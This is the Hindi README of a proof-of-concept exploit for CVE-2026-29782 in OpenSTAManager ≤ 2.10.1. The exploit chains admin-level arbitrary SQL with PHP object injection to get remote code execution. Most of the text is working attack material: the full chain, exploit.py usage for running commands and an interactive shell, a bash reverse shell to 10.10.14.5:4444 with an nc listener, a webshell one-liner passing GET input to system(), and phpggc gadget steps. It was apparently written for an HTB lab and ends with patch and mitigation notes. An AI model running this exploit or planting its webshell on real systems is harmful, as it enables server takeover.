
CVE-2026-29782 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो OpenSTAManager में रिमोट कोड एक्ज़ीक्यूशन प्राप्त करने के लिए SQL इंजेक्शन और PHP ऑब्जेक्ट इंजेक्शन को जोड़ता है। इसमें वेबशेल डिप्लॉयमेंट और रिवर्स शेल विकल्प शामिल हैं।
OpenSTAManager ≤ 2.10.1 में रिमोट कोड एक्ज़ीक्यूशन के लिए PoC।
oauth2.php हमलावर-नियंत्रित state GET पैरामीटर द्वारा एक zz_oauth2 पंक्ति खोजता है और उसके access_token कॉलम पर allowed_classes प्रतिबंध के बिना unserialize() कॉल करता है (Models\OAuth2::checkTokens() / getAccessToken())। यह एक PHP ऑब्जेक्ट-इंजेक्शन सिंक है।
अकेले यह शोषण योग्य नहीं है — आप ऑब्जेक्ट नहीं रख सकते। Aggiornamenti मॉड्यूल (op=risolvi-conflitti-database, 2.9.x लाइन पर कोई क्वेरी अनुमति-सूची नहीं — ) में सुविधा के साथ जोड़कर, एक प्रमाणित एडमिन में एक सीरियलाइज़्ड POP गैजेट कर सकता है और फिर उसे विस्फोटित करने के लिए का अनुरोध कर सकता है।
GHSA-2fr7-cc4f-wh98zz_oauth2.access_tokenINSERToauth2.phpauth (एडमिन)
└─ POST /actions.php op=risolvi-conflitti-database ← मनमाना SQL
└─ zz_oauth2.access_token में गैजेट ब्लॉब INSERT करें (`state` द्वारा कुंजीबद्ध)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ POP गैजेट __destruct() → फ़ाइल लेखन
└─ GET /<webshell>.php?c=<cmd> ← वेब उपयोगकर्ता के रूप में कोड एक्ज़ीक्यूशन
⚠️ केवल अधिकृत परीक्षण। शिक्षा, CTF खेल (HTB: Enigma के विरुद्ध लिखा गया) और रक्षात्मक अनुसंधान के लिए प्रकाशित। इसे उन सिस्टमों पर चलाना जिनके आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। कोई वारंटी नहीं। LICENSE देखें।
| उत्पाद | OpenSTAManager (devcode-it/openstamanager) |
| ऑब्जेक्ट-इंजेक्शन सिंक | ≤ 2.10.1 — 2.10.2 में ठीक किया गया (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| मनमाना-SQL श्रृंखला | 2.9.x लाइन (risolvi-conflitti-database को बाद में 2.10.x में अनुमति-सूची मिली) |
| सत्यापित विरुद्ध | 2.9.8, PHP 8.3, MySQL 8.0 |
2.9.x ट्री monolog/monolog ^3.0 बंडल करता है, इसलिए यह PoC वेबशेल गिराने के लिए Monolog 3.x फ़ाइल-लेखन गैजेट (phpggc Monolog/FW1) का उपयोग करता है। यह जानबूझकर system()/exec() के सक्षम होने या कौन से Laravel घटक मौजूद हैं, पर निर्भर होने से बचता है।
requests — pip install -r requirements.txtPATH पर phpggc + php CLI
(केवल गैजेट बनाने के लिए उपयोग किया जाता है; या पूर्व-निर्मित ब्लॉब के साथ --payload-file प्रदान करें)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [action]
क्रियाएँ:
--cmd 'id' एक कमांड चलाएँ, आउटपुट प्रिंट करें
--shell डंब इंटरैक्टिव प्रॉम्प्ट
--lhost 10.10.14.5 --lport 4444 bash रिवर्स शेल
--drop-only केवल वेबशेल गिराएँ, उसका URL प्रिंट करें
उपयोगी फ़्लैग:
--module-id 6 Aggiornamenti मॉड्यूल आईडी (डिफ़ॉल्ट 6)
--phpggc ./phpggc/phpggc phpggc का पथ
--payload-file blob.bin phpggc छोड़ें, पूर्व-जनित Monolog/FW1 ब्लॉब का उपयोग करें
--webshell-name name.php वेब रूट में गिराई गई फ़ाइल का नाम
--proxy http://127.0.0.1:8080
--keep इंजेक्ट की गई zz_oauth2 पंक्ति को जगह पर छोड़ें
# RCE साबित करें
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# इंटरैक्टिव
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# रिवर्स शेल (पहले `nc -lvnp 4444` चलाएँ)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
गैजेट को हाथ से पूर्व-जनित करना (स्क्रिप्ट जो करती है उसके समतुल्य):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ASCII-सुरक्षित S: स्ट्रिंग एन्कोडिंग (TEXT कॉलम में बाइट-दर-बाइट बचता है);
-f = फास्ट-डिस्ट्रक्ट (ऑब्जेक्ट unserialize() के तुरंत बाद फायर होता है, इससे पहले कि OpenSTAManager उस पर ->hasExpired() कॉल करके थ्रो करे)।
POST /index.php op=login&username=&password= (सफलता = index.php से 302 दूर)।POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>। प्रत्येक तत्व $dbo->query() को पास किया जाता है; 2.9.x शाखा कोई अनुमति-सूची लागू नहीं करती। PoC एक अंतर्निहित COMMIT को बल देने के लिए CREATE TABLE … / DROP TABLE … जोड़ी जोड़ता है (अन्यथा एंडपॉइंट लेखन को एक अनकमिटेड ट्रांज़ैक्शन में छोड़ देता है)। हैंडलर MySQL त्रुटि टेक्स्ट भी इको करता है, जो एक extractvalue() रीड ओरेकल देता है (कोड में OSM.sql_extract())।zz_oauth2 में एक ज्ञात state और access_token = 0x<hex(gadget)> वाली पंक्ति INSERT करें; class वास्तविक प्रदाता Modules\Emails\OAuth2\Google पर सेट है।GET /oauth2.php?state=<state>&code=x। configure() कॉल करता है needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token) बिना किसी allowed_classes के। Monolog गैजेट का __destruct वेबशेल लिखता है। प्रतिक्रिया HTTP 500 है — अपेक्षित।GET /<webshell>?c=<cmd> → system()।unserialize($v, ['allowed_classes' => [AccessToken::class]]) बन जाता है और Aggiornamenti SQL रनर अनुमति-सूचीबद्ध हो जाता है।modules/aggiornamenti/ को विश्वसनीय एडमिनिस्ट्रेटरों तक प्रतिबंधित करें; zz_oauth2 लेखन और oauth2.php के अनुरोधों की निगरानी करें।HTB: Enigma को रूट करते समय अनुसंधान और PoC।